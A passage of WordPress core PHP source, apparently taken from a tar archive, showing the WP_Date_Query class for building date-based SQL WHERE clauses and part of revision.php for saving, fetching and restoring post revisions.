`$compare` supports it. Default empty. * @type int|int[] $week Optional. The week number of the year. Accepts numbers 0-53 or an * array of valid numbers if `$compare` supports it. Default empty. * @type int|int[] $dayofyear Optional. The day number of the year. Accepts numbers 1-366 or an * array of valid numbers if `$compare` supports it. * @type int|int[] $day Optional. The day of the month. Accepts numbers 1-31 or an array * of valid numbers if `$compare` supports it. Default empty. * @type int|int[] $dayofweek Optional. The day number of the week. Accepts numbers 1-7 (1 is * Sunday) or an array of valid numbers if `$compare` supports it. * Default empty. * @type int|int[] $dayofweek_iso Optional. The day number of the week (ISO). Accepts numbers 1-7 * (1 is Monday) or an array of valid numbers if `$compare` supports it. * Default empty. * @type int|int[] $hour Optional. The hour of the day. Accepts numbers 0-23 or an array * of valid numbers if `$compare` supports it. Default empty. * @type int|int[] $minute Optional. The minute of the hour. Accepts numbers 0-59 or an array * of valid numbers if `$compare` supports it. Default empty. * @type int|int[] $second Optional. The second of the minute. Accepts numbers 0-59 or an * array of valid numbers if `$compare` supports it. Default empty. * } * } * } * @param string $default_column Optional. Default column to query against. See WP_Date_Query::validate_column() * and the {@see 'date_query_valid_columns'} filter for the list of accepted values. * Default 'post_date'. */ public function __construct( $date_query, $default_column = 'post_date' ) { if ( empty( $date_query ) || ! is_array( $date_query ) ) { return; } if ( isset( $date_query['relation'] ) ) { $this->relation = $this->sanitize_relation( $date_query['relation'] ); } else { $this->relation = 'AND'; } // Support for passing time-based keys in the top level of the $date_query array. if ( ! isset( $date_query[0] ) ) { $date_query = array( $date_query ); } if ( ! empty( $date_query['column'] ) ) { $date_query['column'] = esc_sql( $date_query['column'] ); } else { $date_query['column'] = esc_sql( $default_column ); } $this->column = $this->validate_column( $this->column ); $this->compare = $this->get_compare( $date_query ); $this->queries = $this->sanitize_query( $date_query ); } /** * Recursive-friendly query sanitizer. * * Ensures that each query-level clause has a 'relation' key, and that * each first-order clause contains all the necessary keys from `$defaults`. * * @since 4.1.0 * * @param array $queries * @param array $parent_query * @return array Sanitized queries. */ public function sanitize_query( $queries, $parent_query = null ) { $cleaned_query = array(); $defaults = array( 'column' => 'post_date', 'compare' => '=', 'relation' => 'AND', ); // Numeric keys should always have array values. foreach ( $queries as $qkey => $qvalue ) { if ( is_numeric( $qkey ) && ! is_array( $qvalue ) ) { unset( $queries[ $qkey ] ); } } // Each query should have a value for each default key. Inherit from the parent when possible. foreach ( $defaults as $dkey => $dvalue ) { if ( isset( $queries[ $dkey ] ) ) { continue; } if ( isset( $parent_query[ $dkey ] ) ) { $queries[ $dkey ] = $parent_query[ $dkey ]; } else { $queries[ $dkey ] = $dvalue; } } // Validate the dates passed in the query. if ( $this->is_first_order_clause( $queries ) ) { $this->validate_date_values( $queries ); } // Sanitize the relation parameter. $queries['relation'] = $this->sanitize_relation( $queries['relation'] ); foreach ( $queries as $key => $q ) { if ( ! is_array( $q ) || in_array( $key, $this->time_keys, true ) ) { // This is a first-order query. Trust the values and sanitize when building SQL. $cleaned_query[ $key ] = $q; } else { // Any array without a time key is another query, so we recurse. $cleaned_query[] = $this->sanitize_query( $q, $queries ); } } return $cleaned_query; } /** * Determine whether this is a first-order clause. * * Checks to see if the current clause has any time-related keys. * If so, it's first-order. * * @since 4.1.0 * * @param array $query Query clause. * @return bool True if this is a first-order clause. */ protected function is_first_order_clause( $query ) { $time_keys = array_intersect( $this->time_keys, array_keys( $query ) ); return ! empty( $time_keys ); } /** * Determines and validates what comparison operator to use. * * @since 3.7.0 * * @param array $query A date query or a date subquery. * @return string The comparison operator. */ public function get_compare( $query ) { if ( ! empty( $query['compare'] ) && in_array( $query['compare'], array( '=', '!=', '>', '>=', '<', '<=', 'IN', 'NOT IN', 'BETWEEN', 'NOT BETWEEN' ), true ) ) { return strtoupper( $query['compare'] ); } return $this->compare; } /** * Validates the given date_query values and triggers errors if something is not valid. * * Note that date queries with invalid date ranges are allowed to * continue (though of course no items will be found for impossible dates). * This method only generates debug notices for these cases. * * @since 4.1.0 * * @param array $date_query The date_query array. * @return bool True if all values in the query are valid, false if one or more fail. */ public function validate_date_values( $date_query = array() ) { if ( empty( $date_query ) ) { return false; } $valid = true; /* * Validate 'before' and 'after' up front, then let the * validation routine continue to be sure that all invalid * values generate errors too. */ if ( array_key_exists( 'before', $date_query ) && is_array( $date_query['before'] ) ) { $valid = $this->validate_date_values( $date_query['before'] ); } if ( array_key_exists( 'after', $date_query ) && is_array( $date_query['after'] ) ) { $valid = $this->validate_date_values( $date_query['after'] ); } // Array containing all min-max checks. $min_max_checks = array(); // Days per year. if ( array_key_exists( 'year', $date_query ) ) { /* * If a year exists in the date query, we can use it to get the days. * If multiple years are provided (as in a BETWEEN), use the first one. */ if ( is_array( $date_query['year'] ) ) { $_year = reset( $date_query['year'] ); } else { $_year = $date_query['year']; } $max_days_of_year = gmdate( 'z', mktime( 0, 0, 0, 12, 31, $_year ) ) + 1; } else { // Otherwise we use the max of 366 (leap-year). $max_days_of_year = 366; } $min_max_checks['dayofyear'] = array( 'min' => 1, 'max' => $max_days_of_year, ); // Days per week. $min_max_checks['dayofweek'] = array( 'min' => 1, 'max' => 7, ); // Days per week. $min_max_checks['dayofweek_iso'] = array( 'min' => 1, 'max' => 7, ); // Months per year. $min_max_checks['month'] = array( 'min' => 1, 'max' => 12, ); // Weeks per year. if ( isset( $_year ) ) { /* * If we have a specific year, use it to calculate number of weeks. * Note: the number of weeks in a year is the date in which Dec 28 appears. */ $week_count = gmdate( 'W', mktime( 0, 0, 0, 12, 28, $_year ) ); } else { // Otherwise set the week-count to a maximum of 53. $week_count = 53; } $min_max_checks['week'] = array( 'min' => 1, 'max' => $week_count, ); // Days per month. $min_max_checks['day'] = array( 'min' => 1, 'max' => 31, ); // Hours per day. $min_max_checks['hour'] = array( 'min' => 0, 'max' => 23, ); // Minutes per hour. $min_max_checks['minute'] = array( 'min' => 0, 'max' => 59, ); // Seconds per minute. $min_max_checks['second'] = array( 'min' => 0, 'max' => 59, ); // Concatenate and throw a notice for each invalid value. foreach ( $min_max_checks as $key => $check ) { if ( ! array_key_exists( $key, $date_query ) ) { continue; } // Throw a notice for each failing value. foreach ( (array) $date_query[ $key ] as $_value ) { $is_between = $_value >= $check['min'] && $_value <= $check['max']; if ( ! is_numeric( $_value ) || ! $is_between ) { $error = sprintf( /* translators: Date query invalid date message. 1: Invalid value, 2: Type of value, 3: Minimum valid value, 4: Maximum valid value. */ __( 'Invalid value %1$s for %2$s. Expected value should be between %3$s and %4$s.' ), '' . esc_html( $_value ) . '', '' . esc_html( $key ) . '', '' . esc_html( $check['min'] ) . '', '' . esc_html( $check['max'] ) . '' ); _doing_it_wrong( __CLASS__, $error, '4.1.0' ); $valid = false; } } } // If we already have invalid date messages, don't bother running through checkdate(). if ( ! $valid ) { return $valid; } $day_month_year_error_msg = ''; $day_exists = array_key_exists( 'day', $date_query ) && is_numeric( $date_query['day'] ); $month_exists = array_key_exists( 'month', $date_query ) && is_numeric( $date_query['month'] ); $year_exists = array_key_exists( 'year', $date_query ) && is_numeric( $date_query['year'] ); if ( $day_exists && $month_exists && $year_exists ) { // 1. Checking day, month, year combination. if ( ! wp_checkdate( $date_query['month'], $date_query['day'], $date_query['year'], sprintf( '%s-%s-%s', $date_query['year'], $date_query['month'], $date_query['day'] ) ) ) { $day_month_year_error_msg = sprintf( /* translators: 1: Year, 2: Month, 3: Day of month. */ __( 'The following values do not describe a valid date: year %1$s, month %2$s, day %3$s.' ), '' . esc_html( $date_query['year'] ) . '', '' . esc_html( $date_query['month'] ) . '', '' . esc_html( $date_query['day'] ) . '' ); $valid = false; } } elseif ( $day_exists && $month_exists ) { /* * 2. checking day, month combination * We use 2012 because, as a leap year, it's the most permissive. */ if ( ! wp_checkdate( $date_query['month'], $date_query['day'], 2012, sprintf( '2012-%s-%s', $date_query['month'], $date_query['day'] ) ) ) { $day_month_year_error_msg = sprintf( /* translators: 1: Month, 2: Day of month. */ __( 'The following values do not describe a valid date: month %1$s, day %2$s.' ), '' . esc_html( $date_query['month'] ) . '', '' . esc_html( $date_query['day'] ) . '' ); $valid = false; } } if ( ! empty( $day_month_year_error_msg ) ) { _doing_it_wrong( __CLASS__, $day_month_year_error_msg, '4.1.0' ); } return $valid; } /** * Validates a column name parameter. * * Column names without a table prefix (like 'post_date') are checked against a list of * allowed and known tables, and then, if found, have a table prefix (such as 'wp_posts.') * prepended. Prefixed column names (such as 'wp_posts.post_date') bypass this allowed * check, and are only sanitized to remove illegal characters. * * @since 3.7.0 * * @param string $column The user-supplied column name. * @return string A validated column name value. */ public function validate_column( $column ) { global $wpdb; $valid_columns = array( 'post_date', 'post_date_gmt', 'post_modified', 'post_modified_gmt', 'comment_date', 'comment_date_gmt', 'user_registered', 'registered', 'last_updated', ); // Attempt to detect a table prefix. if ( false === strpos( $column, '.' ) ) { /** * Filters the list of valid date query columns. * * @since 3.7.0 * @since 4.1.0 Added 'user_registered' to the default recognized columns. * @since 4.6.0 Added 'registered' and 'last_updated' to the default recognized columns. * * @param string[] $valid_columns An array of valid date query columns. Defaults * are 'post_date', 'post_date_gmt', 'post_modified', * 'post_modified_gmt', 'comment_date', 'comment_date_gmt', * 'user_registered', 'registered', 'last_updated'. */ if ( ! in_array( $column, apply_filters( 'date_query_valid_columns', $valid_columns ), true ) ) { $column = 'post_date'; } $known_columns = array( $wpdb->posts => array( 'post_date', 'post_date_gmt', 'post_modified', 'post_modified_gmt', ), $wpdb->comments => array( 'comment_date', 'comment_date_gmt', ), $wpdb->users => array( 'user_registered', ), $wpdb->blogs => array( 'registered', 'last_updated', ), ); // If it's a known column name, add the appropriate table prefix. foreach ( $known_columns as $table_name => $table_columns ) { if ( in_array( $column, $table_columns, true ) ) { $column = $table_name . '.' . $column; break; } } } // Remove unsafe characters. return preg_replace( '/[^a-zA-Z0-9_$\.]/', '', $column ); } /** * Generate WHERE clause to be appended to a main query. * * @since 3.7.0 * * @return string MySQL WHERE clause. */ public function get_sql() { $sql = $this->get_sql_clauses(); $where = $sql['where']; /** * Filters the date query WHERE clause. * * @since 3.7.0 * * @param string $where WHERE clause of the date query. * @param WP_Date_Query $query The WP_Date_Query instance. */ return apply_filters( 'get_date_sql', $where, $this ); } /** * Generate SQL clauses to be appended to a main query. * * Called by the public WP_Date_Query::get_sql(), this method is abstracted * out to maintain parity with the other Query classes. * * @since 4.1.0 * * @return string[] { * Array containing JOIN and WHERE SQL clauses to append to the main query. * * @type string $join SQL fragment to append to the main JOIN clause. * @type string $where SQL fragment to append to the main WHERE clause. * } */ protected function get_sql_clauses() { $sql = $this->get_sql_for_query( $this->queries ); if ( ! empty( $sql['where'] ) ) { $sql['where'] = ' AND ' . $sql['where']; } return $sql; } /** * Generate SQL clauses for a single query array. * * If nested subqueries are found, this method recurses the tree to * produce the properly nested SQL. * * @since 4.1.0 * * @param array $query Query to parse. * @param int $depth Optional. Number of tree levels deep we currently are. * Used to calculate indentation. Default 0. * @return array { * Array containing JOIN and WHERE SQL clauses to append to a single query array. * * @type string $join SQL fragment to append to the main JOIN clause. * @type string $where SQL fragment to append to the main WHERE clause. * } */ protected function get_sql_for_query( $query, $depth = 0 ) { $sql_chunks = array( 'join' => array(), 'where' => array(), ); $sql = array( 'join' => '', 'where' => '', ); $indent = ''; for ( $i = 0; $i < $depth; $i++ ) { $indent .= ' '; } foreach ( $query as $key => $clause ) { if ( 'relation' === $key ) { $relation = $query['relation']; } elseif ( is_array( $clause ) ) { // This is a first-order clause. if ( $this->is_first_order_clause( $clause ) ) { $clause_sql = $this->get_sql_for_clause( $clause, $query ); $where_count = count( $clause_sql['where'] ); if ( ! $where_count ) { $sql_chunks['where'][] = ''; } elseif ( 1 === $where_count ) { $sql_chunks['where'][] = $clause_sql['where'][0]; } else { $sql_chunks['where'][] = '( ' . implode( ' AND ', $clause_sql['where'] ) . ' )'; } $sql_chunks['join'] = array_merge( $sql_chunks['join'], $clause_sql['join'] ); // This is a subquery, so we recurse. } else { $clause_sql = $this->get_sql_for_query( $clause, $depth + 1 ); $sql_chunks['where'][] = $clause_sql['where']; $sql_chunks['join'][] = $clause_sql['join']; } } } // Filter to remove empties. $sql_chunks['join'] = array_filter( $sql_chunks['join'] ); $sql_chunks['where'] = array_filter( $sql_chunks['where'] ); if ( empty( $relation ) ) { $relation = 'AND'; } // Filter duplicate JOIN clauses and combine into a single string. if ( ! empty( $sql_chunks['join'] ) ) { $sql['join'] = implode( ' ', array_unique( $sql_chunks['join'] ) ); } // Generate a single WHERE clause with proper brackets and indentation. if ( ! empty( $sql_chunks['where'] ) ) { $sql['where'] = '( ' . "\n " . $indent . implode( ' ' . "\n " . $indent . $relation . ' ' . "\n " . $indent, $sql_chunks['where'] ) . "\n" . $indent . ')'; } return $sql; } /** * Turns a single date clause into pieces for a WHERE clause. * * A wrapper for get_sql_for_clause(), included here for backward * compatibility while retaining the naming convention across Query classes. * * @since 3.7.0 * * @param array $query Date query arguments. * @return string[] { * Array containing JOIN and WHERE SQL clauses to append to the main query. * * @type string $join SQL fragment to append to the main JOIN clause. * @type string $where SQL fragment to append to the main WHERE clause. * } */ protected function get_sql_for_subquery( $query ) { return $this->get_sql_for_clause( $query, '' ); } /** * Turns a first-order date query into SQL for a WHERE clause. * * @since 4.1.0 * * @param array $query Date query clause. * @param array $parent_query Parent query of the current date query. * @return string[] { * Array containing JOIN and WHERE SQL clauses to append to the main query. * * @type string $join SQL fragment to append to the main JOIN clause. * @type string $where SQL fragment to append to the main WHERE clause. * } */ protected function get_sql_for_clause( $query, $parent_query ) { global $wpdb; // The sub-parts of a $where part. $where_parts = array(); $column = ( ! empty( $query['column'] ) ) ? esc_sql( $query['column'] ) : $this->column; $column = $this->validate_column( $column ); $compare = $this->get_compare( $query ); $inclusive = ! empty( $query['inclusive'] ); // Assign greater- and less-than values. $lt = '<'; $gt = '>'; if ( $inclusive ) { $lt .= '='; $gt .= '='; } // Range queries. if ( ! empty( $query['after'] ) ) { $where_parts[] = $wpdb->prepare( "$column $gt %s", $this->build_mysql_datetime( $query['after'], ! $inclusive ) ); } if ( ! empty( $query['before'] ) ) { $where_parts[] = $wpdb->prepare( "$column $lt %s", $this->build_mysql_datetime( $query['before'], $inclusive ) ); } // Specific value queries. $date_units = array( 'YEAR' => array( 'year' ), 'MONTH' => array( 'month', 'monthnum' ), '_wp_mysql_week' => array( 'week', 'w' ), 'DAYOFYEAR' => array( 'dayofyear' ), 'DAYOFMONTH' => array( 'day' ), 'DAYOFWEEK' => array( 'dayofweek' ), 'WEEKDAY' => array( 'dayofweek_iso' ), ); // Check of the possible date units and add them to the query. foreach ( $date_units as $sql_part => $query_parts ) { foreach ( $query_parts as $query_part ) { if ( isset( $query[ $query_part ] ) ) { $value = $this->build_value( $compare, $query[ $query_part ] ); if ( $value ) { switch ( $sql_part ) { case '_wp_mysql_week': $where_parts[] = _wp_mysql_week( $column ) . " $compare $value"; break; case 'WEEKDAY': $where_parts[] = "$sql_part( $column ) + 1 $compare $value"; break; default: $where_parts[] = "$sql_part( $column ) $compare $value"; } break; } } } } if ( isset( $query['hour'] ) || isset( $query['minute'] ) || isset( $query['second'] ) ) { // Avoid notices. foreach ( array( 'hour', 'minute', 'second' ) as $unit ) { if ( ! isset( $query[ $unit ] ) ) { $query[ $unit ] = null; } } $time_query = $this->build_time_query( $column, $compare, $query['hour'], $query['minute'], $query['second'] ); if ( $time_query ) { $where_parts[] = $time_query; } } /* * Return an array of 'join' and 'where' for compatibility * with other query classes. */ return array( 'where' => $where_parts, 'join' => array(), ); } /** * Builds and validates a value string based on the comparison operator. * * @since 3.7.0 * * @param string $compare The compare operator to use. * @param string|array $value The value. * @return string|false|int The value to be used in SQL or false on error. */ public function build_value( $compare, $value ) { if ( ! isset( $value ) ) { return false; } switch ( $compare ) { case 'IN': case 'NOT IN': $value = (array) $value; // Remove non-numeric values. $value = array_filter( $value, 'is_numeric' ); if ( empty( $value ) ) { return false; } return '(' . implode( ',', array_map( 'intval', $value ) ) . ')'; case 'BETWEEN': case 'NOT BETWEEN': if ( ! is_array( $value ) || 2 !== count( $value ) ) { $value = array( $value, $value ); } else { $value = array_values( $value ); } // If either value is non-numeric, bail. foreach ( $value as $v ) { if ( ! is_numeric( $v ) ) { return false; } } $value = array_map( 'intval', $value ); return $value[0] . ' AND ' . $value[1]; default: if ( ! is_numeric( $value ) ) { return false; } return (int) $value; } } /** * Builds a MySQL format date/time based on some query parameters. * * You can pass an array of values (year, month, etc.) with missing parameter values being defaulted to * either the maximum or minimum values (controlled by the $default_to parameter). Alternatively you can * pass a string that will be passed to date_create(). * * @since 3.7.0 * * @param string|array $datetime An array of parameters or a strotime() string * @param bool $default_to_max Whether to round up incomplete dates. Supported by values * of $datetime that are arrays, or string values that are a * subset of MySQL date format ('Y', 'Y-m', 'Y-m-d', 'Y-m-d H:i'). * Default: false. * @return string|false A MySQL format date/time or false on failure */ public function build_mysql_datetime( $datetime, $default_to_max = false ) { if ( ! is_array( $datetime ) ) { /* * Try to parse some common date formats, so we can detect * the level of precision and support the 'inclusive' parameter. */ if ( preg_match( '/^(\d{4})$/', $datetime, $matches ) ) { // Y $datetime = array( 'year' => (int) $matches[1], ); } elseif ( preg_match( '/^(\d{4})\-(\d{2})$/', $datetime, $matches ) ) { // Y-m $datetime = array( 'year' => (int) $matches[1], 'month' => (int) $matches[2], ); } elseif ( preg_match( '/^(\d{4})\-(\d{2})\-(\d{2})$/', $datetime, $matches ) ) { // Y-m-d $datetime = array( 'year' => (int) $matches[1], 'month' => (int) $matches[2], 'day' => (int) $matches[3], ); } elseif ( preg_match( '/^(\d{4})\-(\d{2})\-(\d{2}) (\d{2}):(\d{2})$/', $datetime, $matches ) ) { // Y-m-d H:i $datetime = array( 'year' => (int) $matches[1], 'month' => (int) $matches[2], 'day' => (int) $matches[3], 'hour' => (int) $matches[4], 'minute' => (int) $matches[5], ); } // If no match is found, we don't support default_to_max. if ( ! is_array( $datetime ) ) { $wp_timezone = wp_timezone(); // Assume local timezone if not provided. $dt = date_create( $datetime, $wp_timezone ); if ( false === $dt ) { return gmdate( 'Y-m-d H:i:s', false ); } return $dt->setTimezone( $wp_timezone )->format( 'Y-m-d H:i:s' ); } } $datetime = array_map( 'absint', $datetime ); if ( ! isset( $datetime['year'] ) ) { $datetime['year'] = current_time( 'Y' ); } if ( ! isset( $datetime['month'] ) ) { $datetime['month'] = ( $default_to_max ) ? 12 : 1; } if ( ! isset( $datetime['day'] ) ) { $datetime['day'] = ( $default_to_max ) ? (int) gmdate( 't', mktime( 0, 0, 0, $datetime['month'], 1, $datetime['year'] ) ) : 1; } if ( ! isset( $datetime['hour'] ) ) { $datetime['hour'] = ( $default_to_max ) ? 23 : 0; } if ( ! isset( $datetime['minute'] ) ) { $datetime['minute'] = ( $default_to_max ) ? 59 : 0; } if ( ! isset( $datetime['second'] ) ) { $datetime['second'] = ( $default_to_max ) ? 59 : 0; } return sprintf( '%04d-%02d-%02d %02d:%02d:%02d', $datetime['year'], $datetime['month'], $datetime['day'], $datetime['hour'], $datetime['minute'], $datetime['second'] ); } /** * Builds a query string for comparing time values (hour, minute, second). * * If just hour, minute, or second is set than a normal comparison will be done. * However if multiple values are passed, a pseudo-decimal time will be created * in order to be able to accurately compare against. * * @since 3.7.0 * * @param string $column The column to query against. Needs to be pre-validated! * @param string $compare The comparison operator. Needs to be pre-validated! * @param int|null $hour Optional. An hour value (0-23). * @param int|null $minute Optional. A minute value (0-59). * @param int|null $second Optional. A second value (0-59). * @return string|false A query part or false on failure. */ public function build_time_query( $column, $compare, $hour = null, $minute = null, $second = null ) { global $wpdb; // Have to have at least one. if ( ! isset( $hour ) && ! isset( $minute ) && ! isset( $second ) ) { return false; } // Complex combined queries aren't supported for multi-value queries. if ( in_array( $compare, array( 'IN', 'NOT IN', 'BETWEEN', 'NOT BETWEEN' ), true ) ) { $return = array(); $value = $this->build_value( $compare, $hour ); if ( false !== $value ) { $return[] = "HOUR( $column ) $compare $value"; } $value = $this->build_value( $compare, $minute ); if ( false !== $value ) { $return[] = "MINUTE( $column ) $compare $value"; } $value = $this->build_value( $compare, $second ); if ( false !== $value ) { $return[] = "SECOND( $column ) $compare $value"; } return implode( ' AND ', $return ); } // Cases where just one unit is set. if ( isset( $hour ) && ! isset( $minute ) && ! isset( $second ) ) { $value = $this->build_value( $compare, $hour ); if ( false !== $value ) { return "HOUR( $column ) $compare $value"; } } elseif ( ! isset( $hour ) && isset( $minute ) && ! isset( $second ) ) { $value = $this->build_value( $compare, $minute ); if ( false !== $value ) { return "MINUTE( $column ) $compare $value"; } } elseif ( ! isset( $hour ) && ! isset( $minute ) && isset( $second ) ) { $value = $this->build_value( $compare, $second ); if ( false !== $value ) { return "SECOND( $column ) $compare $value"; } } // Single units were already handled. Since hour & second isn't allowed, minute must to be set. if ( ! isset( $minute ) ) { return false; } $format = ''; $time = ''; // Hour. if ( null !== $hour ) { $format .= '%H.'; $time .= sprintf( '%02d', $hour ) . '.'; } else { $format .= '0.'; $time .= '0.'; } // Minute. $format .= '%i'; $time .= sprintf( '%02d', $minute ); if ( isset( $second ) ) { $format .= '%s'; $time .= sprintf( '%02d', $second ); } return $wpdb->prepare( "DATE_FORMAT( $column, %s ) $compare %f", $format, $time ); } /** * Sanitizes a 'relation' operator. * * @since 6.0.3 * * @param string $relation Raw relation key from the query argument. * @return string Sanitized relation ('AND' or 'OR'). */ public function sanitize_relation( $relation ) { if ( 'OR' === strtoupper( $relation ) ) { return 'OR'; } else { return 'AND'; } } } revision.php000064400000055660147177035020007135 0ustar00 __( 'Title' ), 'post_content' => __( 'Content' ), 'post_excerpt' => __( 'Excerpt' ), ); } /** * Filters the list of fields saved in post revisions. * * Included by default: 'post_title', 'post_content' and 'post_excerpt'. * * Disallowed fields: 'ID', 'post_name', 'post_parent', 'post_date', * 'post_date_gmt', 'post_status', 'post_type', 'comment_count', * and 'post_author'. * * @since 2.6.0 * @since 4.5.0 The `$post` parameter was added. * * @param array $fields List of fields to revision. Contains 'post_title', * 'post_content', and 'post_excerpt' by default. * @param array $post A post array being processed for insertion as a post revision. */ $fields = apply_filters( '_wp_post_revision_fields', $fields, $post ); // WP uses these internally either in versioning or elsewhere - they cannot be versioned. foreach ( array( 'ID', 'post_name', 'post_parent', 'post_date', 'post_date_gmt', 'post_status', 'post_type', 'comment_count', 'post_author' ) as $protect ) { unset( $fields[ $protect ] ); } return $fields; } /** * Returns a post array ready to be inserted into the posts table as a post revision. * * @since 4.5.0 * @access private * * @param array|WP_Post $post Optional. A post array or a WP_Post object to be processed * for insertion as a post revision. Default empty array. * @param bool $autosave Optional. Is the revision an autosave? Default false. * @return array Post array ready to be inserted as a post revision. */ function _wp_post_revision_data( $post = array(), $autosave = false ) { if ( ! is_array( $post ) ) { $post = get_post( $post, ARRAY_A ); } $fields = _wp_post_revision_fields( $post ); $revision_data = array(); foreach ( array_intersect( array_keys( $post ), array_keys( $fields ) ) as $field ) { $revision_data[ $field ] = $post[ $field ]; } $revision_data['post_parent'] = $post['ID']; $revision_data['post_status'] = 'inherit'; $revision_data['post_type'] = 'revision'; $revision_data['post_name'] = $autosave ? "$post[ID]-autosave-v1" : "$post[ID]-revision-v1"; // "1" is the revisioning system version. $revision_data['post_date'] = isset( $post['post_modified'] ) ? $post['post_modified'] : ''; $revision_data['post_date_gmt'] = isset( $post['post_modified_gmt'] ) ? $post['post_modified_gmt'] : ''; return $revision_data; } /** * Creates a revision for the current version of a post. * * Typically used immediately after a post update, as every update is a revision, * and the most recent revision always matches the current post. * * @since 2.6.0 * * @param int $post_id The ID of the post to save as a revision. * @return int|WP_Error|void Void or 0 if error, new revision ID, if success. */ function wp_save_post_revision( $post_id ) { if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) { return; } $post = get_post( $post_id ); if ( ! $post ) { return; } if ( ! post_type_supports( $post->post_type, 'revisions' ) ) { return; } if ( 'auto-draft' === $post->post_status ) { return; } if ( ! wp_revisions_enabled( $post ) ) { return; } /* * Compare the proposed update with the last stored revision verifying that * they are different, unless a plugin tells us to always save regardless. * If no previous revisions, save one. */ $revisions = wp_get_post_revisions( $post_id ); if ( $revisions ) { // Grab the last revision, but not an autosave. foreach ( $revisions as $revision ) { if ( false !== strpos( $revision->post_name, "{$revision->post_parent}-revision" ) ) { $last_revision = $revision; break; } } /** * Filters whether the post has changed since the last revision. * * By default a revision is saved only if one of the revisioned fields has changed. * This filter can override that so a revision is saved even if nothing has changed. * * @since 3.6.0 * * @param bool $check_for_changes Whether to check for changes before saving a new revision. * Default true. * @param WP_Post $last_revision The last revision post object. * @param WP_Post $post The post object. */ if ( isset( $last_revision ) && apply_filters( 'wp_save_post_revision_check_for_changes', true, $last_revision, $post ) ) { $post_has_changed = false; foreach ( array_keys( _wp_post_revision_fields( $post ) ) as $field ) { if ( normalize_whitespace( $post->$field ) !== normalize_whitespace( $last_revision->$field ) ) { $post_has_changed = true; break; } } /** * Filters whether a post has changed. * * By default a revision is saved only if one of the revisioned fields has changed. * This filter allows for additional checks to determine if there were changes. * * @since 4.1.0 * * @param bool $post_has_changed Whether the post has changed. * @param WP_Post $last_revision The last revision post object. * @param WP_Post $post The post object. */ $post_has_changed = (bool) apply_filters( 'wp_save_post_revision_post_has_changed', $post_has_changed, $last_revision, $post ); // Don't save revision if post unchanged. if ( ! $post_has_changed ) { return; } } } $return = _wp_put_post_revision( $post ); // If a limit for the number of revisions to keep has been set, // delete the oldest ones. $revisions_to_keep = wp_revisions_to_keep( $post ); if ( $revisions_to_keep < 0 ) { return $return; } $revisions = wp_get_post_revisions( $post_id, array( 'order' => 'ASC' ) ); $delete = count( $revisions ) - $revisions_to_keep; if ( $delete < 1 ) { return $return; } $revisions = array_slice( $revisions, 0, $delete ); for ( $i = 0; isset( $revisions[ $i ] ); $i++ ) { if ( false !== strpos( $revisions[ $i ]->post_name, 'autosave' ) ) { continue; } wp_delete_post_revision( $revisions[ $i ]->ID ); } return $return; } /** * Retrieve the autosaved data of the specified post. * * Returns a post object with the information that was autosaved for the specified post. * If the optional $user_id is passed, returns the autosave for that user, otherwise * returns the latest autosave. * * @since 2.6.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param int $post_id The post ID. * @param int $user_id Optional The post author ID. * @return WP_Post|false The autosaved data or false on failure or when no autosave exists. */ function wp_get_post_autosave( $post_id, $user_id = 0 ) { global $wpdb; $autosave_name = $post_id . '-autosave-v1'; $user_id_query = ( 0 !== $user_id ) ? "AND post_author = $user_id" : null; // Construct the autosave query. $autosave_query = " SELECT * FROM $wpdb->posts WHERE post_parent = %d AND post_type = 'revision' AND post_status = 'inherit' AND post_name = %s " . $user_id_query . ' ORDER BY post_date DESC LIMIT 1'; $autosave = $wpdb->get_results( $wpdb->prepare( $autosave_query, $post_id, $autosave_name ) ); if ( ! $autosave ) { return false; } return get_post( $autosave[0] ); } /** * Determines if the specified post is a revision. * * @since 2.6.0 * * @param int|WP_Post $post Post ID or post object. * @return int|false ID of revision's parent on success, false if not a revision. */ function wp_is_post_revision( $post ) { $post = wp_get_post_revision( $post ); if ( ! $post ) { return false; } return (int) $post->post_parent; } /** * Determines if the specified post is an autosave. * * @since 2.6.0 * * @param int|WP_Post $post Post ID or post object. * @return int|false ID of autosave's parent on success, false if not a revision. */ function wp_is_post_autosave( $post ) { $post = wp_get_post_revision( $post ); if ( ! $post ) { return false; } if ( false !== strpos( $post->post_name, "{$post->post_parent}-autosave" ) ) { return (int) $post->post_parent; } return false; } /** * Inserts post data into the posts table as a post revision. * * @since 2.6.0 * @access private * * @param int|WP_Post|array|null $post Post ID, post object OR post array. * @param bool $autosave Optional. Is the revision an autosave? * @return int|WP_Error WP_Error or 0 if error, new revision ID if success. */ function _wp_put_post_revision( $post = null, $autosave = false ) { if ( is_object( $post ) ) { $post = get_object_vars( $post ); } elseif ( ! is_array( $post ) ) { $post = get_post( $post, ARRAY_A ); } if ( ! $post || empty( $post['ID'] ) ) { return new WP_Error( 'invalid_post', __( 'Invalid post ID.' ) ); } if ( isset( $post['post_type'] ) && 'revision' === $post['post_type'] ) { return new WP_Error( 'post_type', __( 'Cannot create a revision of a revision' ) ); } $post = _wp_post_revision_data( $post, $autosave ); $post = wp_slash( $post ); // Since data is from DB. $revision_id = wp_insert_post( $post, true ); if ( is_wp_error( $revision_id ) ) { return $revision_id; } if ( $revision_id ) { /** * Fires once a revision has been saved. * * @since 2.6.0 * * @param int $revision_id Post revision ID. */ do_action( '_wp_put_post_revision', $revision_id ); } return $revision_id; } /** * Gets a post revision. * * @since 2.6.0 * * @param int|WP_Post $post The post ID or object. * @param string $output Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which * correspond to a WP_Post object, an associative array, or a numeric array, * respectively. Default OBJECT. * @param string $filter Optional sanitation filter. See sanitize_post(). * @return WP_Post|array|null WP_Post (or array) on success, or null on failure. */ function wp_get_post_revision( &$post, $output = OBJECT, $filter = 'raw' ) { $revision = get_post( $post, OBJECT, $filter ); if ( ! $revision ) { return $revision; } if ( 'revision' !== $revision->post_type ) { return null; } if ( OBJECT === $output ) { return $revision; } elseif ( ARRAY_A === $output ) { $_revision = get_object_vars( $revision ); return $_revision; } elseif ( ARRAY_N === $output ) { $_revision = array_values( get_object_vars( $revision ) ); return $_revision; } return $revision; } /** * Restores a post to the specified revision. * * Can restore a past revision using all fields of the post revision, or only selected fields. * * @since 2.6.0 * * @param int|WP_Post $revision_id Revision ID or revision object. * @param array $fields Optional. What fields to restore from. Defaults to all. * @return int|false|null Null if error, false if no fields to restore, (int) post ID if success. */ function wp_restore_post_revision( $revision_id, $fields = null ) { $revision = wp_get_post_revision( $revision_id, ARRAY_A ); if ( ! $revision ) { return $revision; } if ( ! is_array( $fields 